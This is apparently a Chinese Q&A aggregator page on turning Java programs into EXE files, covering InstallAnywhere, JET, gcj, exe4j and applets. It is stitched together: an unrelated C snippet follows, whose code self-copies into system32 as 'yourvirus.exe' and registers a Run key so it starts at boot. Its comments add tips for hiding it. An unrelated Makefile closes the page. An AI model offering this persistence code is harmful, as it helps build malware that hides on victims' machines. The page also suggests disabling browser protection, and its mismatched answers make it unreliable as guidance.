JAVA如何编译成EXE的文件?如何实现自编译(不要虚拟机还可运行)?

JAVA如何编译成EXE的文件?如何实现自编译(不要虚拟机还可运行)?,第1张

(1) 使用InstallAnywhere等工具,将应用程序和JRE一起打包,制作一个exe的安装包。

在安装过程中,用户可以选择使用他机器上的JRE或是这个安装包内的JRE来运行程序。这是很常见的一种做法,显得比较专业,而且原来的程序不需要作任何改动,安装后的程序即在JVM上运行,可以获得原本的效果。如JBuilder就是这么做的。InstallAnywhere中一个压缩的JRE大概是8M,它可以针对linux、 win、mac等多个 *** 作系统打包。

(2) 使用JET、gcj等工具,将应用程序制作成一个真正的exe文件

采用这种方式做成的exe文件可以直接在没有安装JRE的计算机上运行。Java类库全部被编译成dll,变为本地调用。

JET是收费的(从 http://www.excelsior-usa.com/jetdlevala.html可以下载3.6试用版)。JET安装好以后,它要把系统上安装的JDK编译一下,要等很久。如果JDK是1.4.2_05版还需要打一个补丁。

gcj有windows和Linux版,直接下载zip包,不需要安装。里面有不少例子,一些build的批处理文件。从原理来说,gcj自己实现了 JVM规范,当运行用gcj制作的exe(大约2M)时会启动里面的一个小型jvm,在上面跑应用程序。不过,gcj目前还不能完整地支持Swing。

但不管怎样,把Java做成纯exe实在是吃力不讨好,有很多限制,文件又大。

(3) 使用exe4j制作伪exe文件。

原理:可执行的jar包文件可以通过命令行java -jar jarfile.jar来执行。制作伪exe其实做法一样,只不过做成exe,调用系统中的java.exe来运行它。

一般情况下,exe4j做成的可执行文件仍需JRE支持,也就是说只能在安装了JRE的计算机上运行。不过有一种方法可制作伪exe文件,在没有安装 JVM的机器上也能运行:虽然exe4j并不提供将JRE打包的功能,但是它提供如何搜索JRE的方法。在第六项设定[JRE]中有一步[Search sequence],添加一个Directory方式的搜索入口,指定是相对目录“.” ,然后把JRE目录中的bin和lib两个目录复制到你的发布目录中就可以了。(当然你可以不用当前目录“.”,任何当前目录下的其他目录也可以,比方 “./JRE”之类的)。此时发布目录中生成的exe文件就在运行时就会调用当前目录中的JRE,而不是通过系统注册表及环境变量寻找JRE了,所以只要把整个发布目录(含exe及JRE的bin和lib)复制到其他计算机上,也就实现了“目标机即便没有安装过JRE也可以执行”。当然,这种发布方式无法得到一个内含JRE的单独的exe文件。另外,JRE的完整目录有50M,但是我们的程序只可能调用其中很少的一部分,你可以手动为发布目录中的JRE减肥、去掉不使用的文件,但这需要一定的经验。减肥后的JRE根据应用程序的不同,最小可以只有10M左右。

(4) 把java应用程序最后做成applet。

将java applet编入html文件,用浏览器方式打开,可以在任何没有安装JRE的机器上运行,好比exe文件一样(当然在安装了JRE的计算机上也可以用批处理文件或java命令来运行)。Windows IE打开applet靠的是一个叫“micosoft VM”的东西,现在该软件一般都是自带的。不过,Windows IE支持的JDK最高版本只能到JDK1.1。如果别人的机器运行不了applet,无非这三个原因:

a. 程序编译时使用的JDK版本太高,Windows IE不支持。用较老板版本的编译器重新编译(v1.1之前)就可以了。比如在dos下javac -target 1.1 *.jav(强制使用JDK1.1编译源程序)。

b. 用户的Windows没有micosoft vm(这种情况比较少见,只有windows XP第一版等极少数情况)。这种情况下,当客户的IE每次load applet时候, Windows会提示“没有download micosoft VM”,他只需从网上下一个就可以了。

c. 用户计算机上装有一些保护ie的软件(比如最新的windows sp2有时就会防止java applet的loading)。暂时关闭保护功能就可以了。

(5) 使用JBuilder、exe4j等工具制作成需要JRE支持的exe文件。

#include

<windows.h>

#include

<iostream.h>

/*

功能:使文件开机自动运行

思路:

获取文件的路径,将文件拷贝到系统文件夹之下

在注册表中注册文件路径,使其开机自动运行。

提示:

如果要隐藏,另外可以在以上执行完毕之后,删除原始文件.

当然,还可以通过注册程序为系统服务,使其开机自动运行.

删除:

在执行程序之后,执行以下 *** 作,使系统恢复原状:

1.

删除

C:\WINDOWS\system32\yourvirus.exe

2.

打开注册表:

[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

删除键:Writing

to

the

Registry

Example

*/

void

main()

{

char

system[MAX_PATH]

//系统目录路径

char

pathtofile[MAX_PATH]

//要开机运行的文件的完整路径

HMODULE

GetModH

=

GetModuleHandle(NULL)

//得到当前执行文件的全路径

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile))

//得到系统文件所在目录的路径,如c:\windows\system32

GetSystemDirectory(system,sizeof(system))

//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe

strcat(system,"\\yourvirus.exe")

//自我复制到目标路径

CopyFile(pathtofile,system,false)

//写入注册表,以便开机自动运行

HKEY

hKey

//打开注册表:路径如下

//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey

)

//新增一个值,名称随意命名,值为要开机运行的文件的完整路径

RegSetValueEx(hKey,

"Writing

to

the

Registry

Example",

0,REG_SZ,(const

unsigned

char*)system,sizeof(system))

//关闭注册表:

RegCloseKey(hKey)

/*可以加入其他功能*/

}

 你可以根据这样的方法来编写: b074@gliethttp:~/work/gunzip$ cat MakefileCC = gcc-4.1LD = gcc-4.1CFLAGS = -Wall -c -Dgliethttp -I.LDFLAGS = -lpthreadSRCS = $(wildcard *.c)OBJS = $(patsubst %c,%o,$(SRCS))TARGET = gliethttp.PHONY: all cleanall: $(TARGET)$(TARGET): $(OBJS)$(LD) $(LDFLAGS) -o $@ $^%o: %c$(CC) $(CFLAGS) -o $@ $<clean:@rm -f *.o $(TARGET)编译当前Makefile所在目录下的所有.c文件执行makemake clean


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/11450278.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-16
下一篇 2023-05-16

发表评论

登录后才能评论

评论列表(0条)

保存